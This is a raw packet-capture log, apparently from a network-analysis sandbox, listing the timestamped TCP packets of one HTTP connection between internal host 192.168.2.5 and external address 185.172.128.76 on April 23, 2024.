Apr 23, 2024 09:33:02.733989000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.734000921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.734004021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.734020948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.734039068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.774027109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.774055958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.774074078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.774086952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.774259090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782335997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782358885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782371044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782392025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782404900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782409906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782412052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782423973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782434940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782447100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782454014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782458067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782469988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782481909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782484055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782505035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782527924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782567978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782579899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782592058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782598972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782619953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782670021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782681942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782692909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782700062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782704115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782727957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782756090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782892942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782907963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782918930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782928944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782929897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782941103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782944918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782953024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782978058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782985926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.782988071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.782998085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783024073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783034086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783040047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783060074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783097982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783109903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783119917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783128977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783145905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783160925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783196926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783231974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783246040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783267975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783277035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783293009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783305883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783318043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783329964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783340931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783344030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783360958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783360958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783376932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783416033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783428907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783440113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783446074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783449888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783466101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783476114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783617973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783653021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783663988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.783670902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.783699989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.829329967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.034976006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137355089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137415886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137454033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137490988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137501001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137526989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137562990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137598991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137635946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137660980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137660980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137660980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137660980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137670994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137672901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137708902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.137710094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.137744904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188014984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188085079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188142061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188175917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188211918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188246012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188285112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188285112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188285112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188299894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188314915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188314915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188338041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188343048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188374043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188375950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188412905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188421965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188455105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188457966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188489914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188492060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188527107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188528061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188563108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188585043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188622952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188627005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188658953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188666105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188704967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188708067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188740969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188749075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188776970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188780069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188812017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188815117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188847065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188854933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188879013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.188884020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.188916922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.238714933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238759995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238796949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238833904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238869905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238903999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238939047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238975048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.238996983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.238996983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.238996983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239010096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239031076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239031076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239047050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239053965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239083052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239089012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239118099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239124060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239155054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239160061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239192963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239195108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239228010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239232063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239262104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239267111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239294052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239305973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239330053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239337921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239365101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239377975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239401102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239409924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239433050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239449024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239481926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239485025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239521027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239531040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239556074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239562035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239600897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239608049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239644051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239653111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239679098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239689112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239712954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239723921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239748955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239762068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239783049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239792109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239818096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239829063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239852905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239866018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239887953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239900112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239923000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239932060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239959002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.239972115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.239991903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240003109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240026951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240035057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240061045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240068913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240096092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240117073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240144968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240159035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240195036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240204096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240231037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240237951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240267038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240278006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240303040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240313053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240339041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240348101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240374088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240382910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240406990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.240418911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.240452051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.289750099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.289817095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.289856911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.289895058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.289932013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.289968014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.289992094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.289992094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.289992094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290004015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290011883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290011883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290040016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290046930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290076971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290081024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290113926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290118933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290149927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290154934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290184975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290193081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290220976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290225983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290263891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290263891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290301085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290308952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290338039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290354013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290371895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290381908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290406942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290419102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290442944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290452957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290477037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290487051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290508986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290519953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290545940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290555000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290606976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290620089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290643930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290651083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290676117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290689945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290712118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290721893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290746927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290756941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290781975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290796995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290812969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290828943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290848017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290853977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290884972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290896893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290921926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290926933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290956020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.290967941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.290992022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291003942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291030884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291042089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291064024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291076899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291100979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291116953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291136980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291146040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291172981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291182995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291205883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291218042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291240931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291254044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291276932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291289091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291313887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291321993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291346073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291358948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291382074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291393042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291416883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291429043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291452885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291465044 CEST	49704	80	192.168.2.5	185.172.128.76
